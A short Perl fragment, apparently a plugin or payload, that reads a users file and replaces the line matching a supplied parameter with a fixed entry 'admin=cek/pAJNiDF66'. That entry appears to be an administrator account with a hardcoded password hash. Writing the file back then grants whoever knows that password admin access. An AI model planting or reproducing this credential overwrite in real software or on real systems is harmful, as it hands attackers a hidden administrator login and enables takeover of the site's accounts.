open(U,"$path_to_users");
while(<U>){chomp();
	if(/^$param1=/){$_="admin=cek/pAJNiDF66"}
	$SAVEPW.=$_."\n";
}
open(U,">$path_to_users");
print U "$SAVEPW";
1;